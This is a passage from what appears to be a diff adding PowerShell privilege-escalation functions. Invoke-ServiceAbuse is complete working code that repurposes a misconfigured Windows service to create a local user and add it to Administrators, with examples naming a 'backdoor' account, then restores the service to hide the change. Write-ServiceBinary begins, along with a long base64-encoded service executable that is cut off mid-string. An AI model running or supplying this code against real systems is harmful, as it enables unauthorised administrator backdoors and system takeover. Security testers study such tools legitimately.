a service, modifies it to create a user, starts + the service, stops it, modifies it to add the user to the specified group, + stops it, and then restores the original EXE path. It can also take a + custom -CMD argument to trigger a custom command instead of adding a user. + + .PARAMETER ServiceName + + The service name to manipulate. Required. + + .PARAMETER UserName + + The [domain\]username to add. If not given, it defaults to "john". + Domain users are not created, only added to the specified localgroup. + + .PARAMETER Password + + The password to set for the added user. If not given, it defaults to "Password123!" + + .PARAMETER LocalGroup + + Local group name to add the user to (default of Administrators). + + .PARAMETER Command + + Custom local command to execute. + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC + + Abuses service 'VulnSVC' to add a localuser "john" with password + "Password123! to the machine and local administrator group + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" + + Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the + local adminisrtators group. + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" + + Abuses service 'VulnSVC' to add a localuser "backdoor" with password + "password" to the machine and local "Power Users" group + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." + + Abuses service 'VulnSVC' to execute a custom command. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $UserName = "john", + + [String] + $Password = "Password123!", + + [String] + $LocalGroup = "Administrators", + + [String] + $Command + ) + + process { + + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + $ServiceAbused = $Null + + # make sure we got a result back + if ($TargetService) { + + $ServiceAbused = $TargetService.Name + $UserAdded = $Null + $PasswordAdded = $Null + $GroupnameAdded = $Null + + try { + # check if sc.exe exists + if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))){ + throw "Could not find $Env:SystemRoot\System32\sc.exe" + } + + # try to enable the service it was disabled + $RestoreDisabled = $False + if ($TargetService.StartMode -eq "Disabled") { + Write-Verbose "Service '$ServiceName' disabled, enabling..." + if(-not $(Invoke-ServiceEnable -ServiceName $ServiceName)) { + throw "Error in enabling disabled service." + } + $RestoreDisabled = $True + } + + # extract the original path and state so we can restore it later + $OriginalPath = $TargetService.PathName + $OriginalState = $TargetService.State + Write-Verbose "Service '$ServiceName' original path: '$OriginalPath'" + Write-Verbose "Service '$ServiceName' original state: '$OriginalState'" + + $Commands = @() + + if($Command) { + # only executing a custom command + $Commands += $Command + } + elseif($UserName.Contains("\")) { + # adding a domain user to the local group, no creation + $Commands += "net localgroup $LocalGroup $UserName /add" + } + else { + # creating a local user and adding to the local group + $Commands += "net user $UserName $Password /add" + $Commands += "net localgroup $LocalGroup $UserName /add" + } + + foreach($Cmd in $Commands) { + if(-not $(Invoke-ServiceStop -ServiceName $TargetService.Name)) { + throw "Error in stopping service." + } + + Write-Verbose "Executing command '$Cmd'" + + $Result = sc.exe config $($TargetService.Name) binPath= $Cmd + if ($Result -contains "Access is denied."){ + throw "Access to service $($TargetService.Name) denied" + } + + $Null = Invoke-ServiceStart -ServiceName $TargetService.Name + } + + # cleanup and restore the original binary path + Write-Verbose "Restoring original path to service '$ServiceName'" + $Null = sc.exe config $($TargetService.Name) binPath= $OriginalPath + + # try to restore the service to whatever state it was + if($RestoreDisabled) { + Write-Verbose "Re-disabling service '$ServiceName'" + $Result = sc.exe config $($TargetService.Name) start= disabled + } + elseif($OriginalState -eq "Paused") { + Write-Verbose "Starting and then pausing service '$ServiceName'" + $Null = Invoke-ServiceStart -ServiceName $TargetService.Name + $Null = sc.exe pause $($TargetService.Name) + } + elseif($OriginalState -eq "Stopped") { + Write-Verbose "Leaving service '$ServiceName' in stopped state" + } + else { + $Null = Invoke-ServiceStart -ServiceName $TargetService.Name + } + } + catch { + Write-Warning "Error while modifying service '$ServiceName': $_" + $Commands = @("Error while modifying service '$ServiceName': $_") + } + } + + else { + Write-Warning "Target service '$ServiceName' not found on the machine" + $Commands = "Not found" + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceAbused' $ServiceAbused + $Out | Add-Member Noteproperty 'Command' $($Commands -join " && ") + $Out + } +} + + +function Write-ServiceBinary { +<# + .SYNOPSIS + + Takes a precompiled C# service executable and binary patches in a + custom shell command or commands to add a local administrator. + It then writes the binary out to the specified location. + Domain users are only added to the specified LocalGroup. + + .PARAMETER ServiceName + + The service name the EXE will be running under. Required. + + .PARAMETER Path + + Path to write the binary out to, defaults to the local directory. + + .PARAMETER UserName + + The [DOMAIN\username] to add, defaults to 'john'. + + .PARAMETER Password + + The password to set for the added user, default to 'Password123!'. + + .PARAMETER LocalGroup + + Local group to add the user to, defaults to 'Administrators'. + + .PARAMETER Command + + A custom command to execute. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC + + Writes the service binary for VulnSVC that adds a local administrator + to the local directory. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" + + Writes the service binary for VulnSVC that adds TESTLAB\john to the local + administrators to the local directory. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! + + Writes the service binary for VulnSVC that adds a local administrator of + name 'backdoor' with password 'Password123!' to the local directory. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." + + Writes the service binary for VulnSVC that executes a local command + to the local directory. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $ServicePath = "service.exe", + + [String] + $UserName = "john", + + [String] + $Password = "Password123!", + + [String] + $LocalGroup = "Administrators", + + [String] + $Command + ) + + begin { + # the raw unpatched service binary + $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI